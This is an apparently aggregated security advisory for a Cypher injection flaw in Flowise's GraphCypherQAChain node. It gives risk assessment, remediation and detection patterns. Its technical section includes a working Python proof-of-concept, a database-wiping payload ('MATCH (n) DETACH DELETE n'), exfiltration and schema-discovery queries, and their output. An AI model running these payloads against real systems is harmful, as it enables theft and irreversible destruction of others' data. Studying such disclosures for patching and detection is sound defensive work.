GHSA-28g4-38q8-3cwc: Flowise: Cypher injection allows full Neo4j DB wipe

GHSA-28g4-38q8-3cwc HIGH
Published April 16, 2026
CISO Take

Flowise's GraphCypherQAChain node passes raw user input directly into Neo4j Cypher query execution without any sanitization, giving any API caller with access to a configured chatflow the ability to read, modify, or destroy the entire connected graph database. The blast radius is severe for organizations using Flowise as an AI agent layer over Neo4j — a single API call with 'MATCH (n) DETACH DELETE n' wipes all data with no additional privilege escalation required. While this CVE is not in CISA KEV, a fully functional PoC is embedded in the public GitHub Security Advisory, reducing exploitation skill requirements to near zero for targeted attacks. Patch to flowise and flowise-components 3.1.0 immediately, and if that is not feasible, disable all chatflows using the GraphCypherQAChain node and restrict access to the /api/v1/prediction/ endpoint.

Sources: GitHub Advisory ATLAS

Risk Assessment

HIGH. Prerequisites are concrete but not unusual for Flowise deployments — an internet-accessible prediction endpoint and a chatflow using GraphCypherQAChain connected to Neo4j. Given 37 prior CVEs in the same package and a working PoC in the public advisory, exploitation risk is elevated. Impact is catastrophic: complete database exfiltration or destruction with no recovery path if backups are absent. AI agent deployments using graph databases as knowledge stores or organizational data backends face existential data risk.

Attack Kill Chain

Initial Access
Attacker identifies a Flowise instance with an accessible prediction endpoint and confirms a GraphCypherQAChain chatflow is active by sending a benign test query.
AML.T0049
Injection
Attacker submits raw Cypher commands in the question field of the prediction API — Flowise passes the input directly to Neo4j execution without sanitization, bypassing the LLM query generation layer entirely.
AML.T0053
Reconnaissance
Attacker enumerates database schema, labels, and relationship types using Cypher schema discovery queries to map stored data and identify high-value targets for exfiltration.
Impact
Attacker exfiltrates all sensitive data via MATCH/RETURN queries and optionally destroys the entire graph database with DETACH DELETE, achieving data theft or irreversible data destruction.
AML.T0101

Affected Systems

Package Ecosystem Vulnerable Range Patched
flowise npm <= 3.0.13 3.1.0
flowise-components npm <= 3.0.13 3.1.0

Severity & Risk

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Recommended Action

6 steps
  1. Patch immediately: upgrade to flowise and flowise-components 3.1.0 or later.

  2. Short-term workaround: disable or delete all chatflows containing the GraphCypherQAChain node.

  3. Network hardening: restrict /api/v1/prediction/ to trusted IP ranges via WAF or reverse proxy.

  4. Least privilege: configure Neo4j credentials used by Flowise as read-only where write access is not required; never use admin credentials.

  5. Detection: audit Neo4j query logs for anomalous patterns — DETACH DELETE, unfiltered MATCH (n) RETURN n, schema discovery commands (db.labels(), db.relationshipTypes(), CALL apoc.*).

  6. Incident response: if this was exploited, assume full database exfiltration — treat all stored data as compromised and notify affected parties per applicable breach notification obligations.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.9.3 - AI system input controls
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain AI system value and reduce negative impacts MEASURE 2.5 - AI system resilience and security testing
OWASP LLM Top 10
LLM02 - Insecure Output Handling LLM06 - Sensitive Information Disclosure

Frequently Asked Questions

What is GHSA-28g4-38q8-3cwc?

Flowise's GraphCypherQAChain node passes raw user input directly into Neo4j Cypher query execution without any sanitization, giving any API caller with access to a configured chatflow the ability to read, modify, or destroy the entire connected graph database. The blast radius is severe for organizations using Flowise as an AI agent layer over Neo4j — a single API call with 'MATCH (n) DETACH DELETE n' wipes all data with no additional privilege escalation required. While this CVE is not in CISA KEV, a fully functional PoC is embedded in the public GitHub Security Advisory, reducing exploitation skill requirements to near zero for targeted attacks. Patch to flowise and flowise-components 3.1.0 immediately, and if that is not feasible, disable all chatflows using the GraphCypherQAChain node and restrict access to the /api/v1/prediction/ endpoint.

Is GHSA-28g4-38q8-3cwc actively exploited?

No confirmed active exploitation of GHSA-28g4-38q8-3cwc has been reported, but organizations should still patch proactively.

How to fix GHSA-28g4-38q8-3cwc?

1. Patch immediately: upgrade to flowise and flowise-components 3.1.0 or later. 2. Short-term workaround: disable or delete all chatflows containing the GraphCypherQAChain node. 3. Network hardening: restrict /api/v1/prediction/ to trusted IP ranges via WAF or reverse proxy. 4. Least privilege: configure Neo4j credentials used by Flowise as read-only where write access is not required; never use admin credentials. 5. Detection: audit Neo4j query logs for anomalous patterns — DETACH DELETE, unfiltered MATCH (n) RETURN n, schema discovery commands (db.labels(), db.relationshipTypes(), CALL apoc.*). 6. Incident response: if this was exploited, assume full database exfiltration — treat all stored data as compromised and notify affected parties per applicable breach notification obligations.

What systems are affected by GHSA-28g4-38q8-3cwc?

This vulnerability affects the following AI/ML architecture patterns: AI agent frameworks, Graph database-backed RAG pipelines, Knowledge graph pipelines, LLM-to-database integrations, No-code/low-code AI workflow builders.

What is the CVSS score for GHSA-28g4-38q8-3cwc?

No CVSS score has been assigned yet.

Technical Details

NVD Description

## Summary The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. ## Vulnerability Details | Field | Value | |-------|-------| | Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` | | Affected Lines | 193-219 (run method) | ## Prerequisites To exploit this vulnerability, the following conditions must be met: 1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server 2. **Vulnerable Chatflow Configuration**: - A chatflow containing the **Graph Cypher QA Chain** node - Connected to a **Chat Model** (e.g., ChatOpenAI) - Connected to a **Neo4j Graph** node with valid credentials 3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`) <img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" /> ## Root Cause In `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization: ```typescript async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> { const chain = nodeData.instance as GraphCypherQAChain // ... const obj = { query: input // User input passed directly } // ... response = await chain.invoke(obj, { callbacks }) // Executed without escaping } ``` ## Impact An attacker with access to a vulnerable chatflow can: 1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields 2. **Data Modification**: Create, update, or delete nodes and relationships 3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database 4. **Schema Discovery**: Enumerate database structure, labels, and properties ## Proof of Concept ### poc.py ```python #!/usr/bin/env python3 """ POC: Cypher injection in GraphCypherQAChain (CWE-943) Usage: python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY> """ import argparse import json import urllib.request import urllib.error def post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode("utf-8"), headers={**headers, "Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=15) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000") ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain") ap.add_argument("--token", help="Bearer token / API key if required") ap.add_argument( "--injection", default="MATCH (n) RETURN n", help="Cypher payload to inject", ) args = ap.parse_args() payload = { "question": args.injection, "overrideConfig": {}, } headers = {} if args.token: headers["Authorization"] = f"Bearer {args.token}" url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}" try: status, body = post_json(url, payload, headers) print(body if body else f"(empty response, HTTP {status})") except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace")) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main() ``` ### Test Environment Setup **1. Start Neo4j with Docker:** ```bash docker run -d \ --name neo4j-test \ -p 7474:7474 \ -p 7687:7687 \ -e NEO4J_AUTH=neo4j/testpassword123 \ neo4j:latest ``` **2. Create test data (in Neo4j Browser at http://localhost:7474):** ```cypher CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'}) CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'}) CREATE (a)-[:KNOWS]->(b) ``` **3. Configure Flowise chatflow** (see screenshot) ### Exploitation Steps ```bash # Data destruction (DANGEROUS) python poc.py --target http://127.0.0.1:3000 \ --flow-id <FLOW_ID> --token <API_KEY> \ --injection "MATCH (n) DETACH DELETE n" ``` ### Evidence **Cypher injection reaching Neo4j directly:** ``` $ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ... {"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...} ``` The error message comes from Neo4j, proving the injected Cypher is executed directly. **Data destruction confirmed:** ``` $ python poc.py ... --injection "MATCH (n) DETACH DELETE n" {"json":[],...} ``` Empty result indicates all nodes were deleted. **Sensitive data exfiltration:** ``` $ python poc.py ... --injection "MATCH (n) RETURN n" {"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...} ```

Exploitation Scenario

An attacker scans for Flowise instances via Shodan or targeted reconnaissance against known organizations. They discover an exposed /api/v1/prediction/{flowId} endpoint and probe it with a standard question payload. Receiving a valid LLM response confirms GraphCypherQAChain is active. They then submit the 'question' field as 'MATCH (n) RETURN n' — the Flowise chain passes this directly to Neo4j, which returns all nodes and properties including PII, credentials, or proprietary knowledge graph data. The attacker exfiltrates the data, then optionally submits 'MATCH (n) DETACH DELETE n' to destroy evidence and cause maximum disruption — all via a single HTTP POST with no authentication bypass required.

Timeline

Published
April 16, 2026
Last Modified
April 16, 2026
First Seen
April 17, 2026

Related Vulnerabilities